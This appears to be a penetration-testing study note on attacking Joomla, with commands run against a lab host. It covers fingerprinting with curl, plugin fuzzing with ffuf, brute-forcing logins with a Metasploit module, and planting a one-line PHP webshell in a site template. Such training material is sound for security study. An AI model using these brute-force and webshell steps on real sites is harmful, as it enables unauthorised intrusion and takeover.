Joomla

101

Joomla is typically used with PHP and MySQL (similar to WordPress) and can be identified by its favicon:

Joomla's has the following user roles:

User
Description

Super Users/Administrator

Access to administrative features (adding, deleting users and posts, editing source code)

Administrator

Admin functions except global options

Manager

Content creation and backend system info

Footprinting

Manual

curl -s http://dev.inlanefreight.local/ | grep Joomla

Attacks

Fuzzing

Fuzzing can be used for further directory, plugin, and theme enumeration (joomla.txt):

# Fuzzing for plugins
$ ffuf -u http://dev.inlanefreight.local/FUZZ -w usr/share/wordlists/joomla/joomla.txt -c -ac

BFA

The default administrator account is admin and the password is set at install time:

MSF's joomla_bruteforce_login module can be used for a BFA:

msf > use auxiliary/scanner/http/joomla_bruteforce_login
msf auxiliary(joomla_bruteforce_login) > show actions
        ...actions...
msf auxiliary(joomla_bruteforce_login) > set ACTION < action-name >
msf auxiliary(joomla_bruteforce_login) > show options
        ...show and set options...
msf auxiliary(joomla_bruteforce_login) > run

RCE

We can upload a webshell as by editing a template (e.g. error.php) and adding a PHP webshell:

# Webshell payload
system($_GET['c']);
# Interact with the webshell
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?c=id

Vulnerabilities

There is a live vunlerable extensions list.

Last updated

Was this helpful?